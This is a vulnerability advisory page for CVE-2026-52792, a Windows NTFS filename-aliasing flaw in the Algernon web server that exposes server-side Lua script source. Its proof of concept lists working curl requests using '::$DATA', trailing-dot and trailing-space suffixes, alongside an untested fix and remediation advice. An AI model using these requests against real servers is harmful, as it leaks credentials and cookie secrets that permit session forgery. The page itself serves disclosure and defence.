Algernon CVE-2026-52792
HIGHSeverity by source
Unauthenticated remote request with no interaction trivially discloses script source (C:H); no direct integrity/availability impact, so I:N/A:N; Windows/NTFS-only is treated as product scope, not AC.
Estimated by vuln.today — no official severity rating has been published for this CVE yet.
Lifecycle Timeline
1DescriptionCVE.org
Summary
Algernon selects its file handler from filepath.Ext() (engine/handlers.go:134), which does not treat the NTFS-equivalent names x.lua::$DATA, x.lua., or x.lua as .lua. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the SetCookieSecret value.
Linux and macOS hosts are unaffected.
Preconditions
- Algernon runs on a Windows host (NTFS filesystem).
- The instance serves at least one server-side script (
.lua,.tl,.po2,.amber,.frm). - The script sits on a public path, or no auth backend is configured (
--nodb,--simple, or default no-DB). - HTTP/HTTPS reachability to the server.
Details
// engine/handlers.go:133
lowercaseFilename := strings.ToLower(filename)
ext := filepath.Ext(lowercaseFilename) // "index.lua::$data" -> ".lua::$data", not ".lua" [offending]
...
if ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false
return
}
switch ext {
case ".lua", ".tl": // execute the script -- never reached for the equivalent forms
// ... RunLua ...
default:
// control reaches the raw-file branch below
}// engine/handlers.go:452
f, err := os.Open(filename) // NTFS resolves "index.lua::$DATA" to index.lua's data stream
...
// engine/handlers.go:479
if dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil {
dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client
}The request path reaches FilePage through URL2filename (utils/files.go:24), which rejects only ..; a :, a trailing ., and a trailing space all pass through into filename. filepath.Ext does an exact suffix match, so .lua::$data, ., and .lua are not equal to .lua or .tl. The renderer registry and the execute case are both skipped and control falls to the default branch.
The default branch opens filename with os.Open and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix ::$DATA, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler.
Proof of concept
Setup
- Build Algernon from source on a Windows host:
git clone https://github.com/xyproto/algernon
cd algernon
git checkout v1.17.8
go build -o algernon.exe .- Create a web root with a script that embeds secrets, exactly as a real handler would:
New-Item -ItemType Directory webroot | Out-Null
Set-Content webroot\index.lua @'
-- db = POSTGRES("postgres://app:S3cr3t@db/prod")
SetCookieSecret("hardcoded-session-key")
print("<h1>hello</h1>")
'@- Serve the directory over plain HTTP with no auth backend (run in its own window):
.\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\webrootExploit
- Request the script normally. It executes, and the source is not disclosed:
curl.exe -s http://127.0.0.1:8088/index.luaExpected: <h1>hello</h1>. The DSN and cookie secret are absent from the response.
- Request the same script through its NTFS
::$DATAstream. Algernon returns the raw source:
curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA'Expected: HTTP 200, Content-Type: application/octet-stream, body is the verbatim Lua source including SetCookieSecret("hardcoded-session-key") and the Postgres DSN.
- The trailing-dot and trailing-space forms leak the same source:
curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.'
curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20'Expected: identical raw-source response for both.
Impact
- Confidentiality: Reads the verbatim source of any public-path server-side script, exposing hardcoded DB credentials, API keys, and
SetCookieSecret(...)values. - Authentication: A disclosed
SetCookieSecretvalue lets an unauthenticated attacker forge session cookies and log in as any user.
Suggestions to fix
> _This has not been tested - it is illustrative only._
Reject request paths whose final segment uses a Windows-equivalent form (alternate data stream, trailing dot, or trailing space) before extension dispatch.
func (ac *Config) FilePage(w http.ResponseWriter, req *http.Request, filename, luaDataFilename string) {
+ // Reject Windows filename-equivalent forms that alias a different file
+ // than filepath.Ext sees (e.g. "x.lua::$DATA", "x.lua.", "x.lua ").
+ if base := filepath.Base(filename); strings.ContainsRune(base, ':') ||
+ strings.HasSuffix(base, ".") || strings.HasSuffix(base, " ") {
+ http.NotFound(w, req)
+ return
+ }
if ac.quitAfterFirstRequest {
go ac.quitSoon("Quit after first request", defaultSoonDuration)
}AnalysisAI
Source-code disclosure in the Algernon web/application server (Go, xyproto/algernon, tested at v1.17.8) lets an unauthenticated remote client retrieve the raw source of any public-path server-side script on Windows hosts by appending an NTFS-equivalent suffix (::$DATA, a trailing dot, or a trailing space) to the URL. Because filepath.Ext() does an exact suffix match, these forms are not recognized as .lua/.tl/.po2/.amber/.frm and fall through to the raw-file branch, while NTFS canonicalizes the name back to the real script, exposing embedded database credentials and the SetCookieSecret value used to forge session cookies. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires the target to run Algernon on a Windows host with an NTFS filesystem - this is the primary limiter; Linux and macOS deployments are not exploitable at all. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | No CVSS score or vector was provided in the input, so severity is assessed independently rather than copied. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker discovers an internet-facing Algernon instance running on Windows that serves a Lua handler at /index.lua. They request 'http://target:8088/index.lua::$DATA' with curl --path-as-is and receive HTTP 200 with the verbatim Lua source, including a hardcoded Postgres DSN and SetCookieSecret('...'). … |
| Remediation | No vendor-released patched version was identified in the provided data; the advisory (GHSA-mm6c-5j6x-hq8m, https://github.com/xyproto/algernon/security/advisories/GHSA-mm6c-5j6x-hq8m) includes only an illustrative, untested fix that rejects request paths whose final segment contains ':' or ends in '.' or ' ' before extension dispatch - track that advisory and upgrade to the first release that incorporates the canonicalization/rejection check. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
24 hours: Inventory all Windows systems running Algernon; immediately rotate database passwords, SetCookieSecret values, and API keys embedded in public-path scripts. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More in PostgreSQL
View allPostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re
Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.
PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow
The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t
A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra
In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve
## Summary An unauthenticated SQL injection vulnerability exists in the Vendure Shop API. A user-controlled query strin
Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot
Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al
A vulnerability in the FinanceChatLlamaPack of the run-llama/llama_index repository, versions up to v0.12.3, allows for
Same technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-mm6c-5j6x-hq8m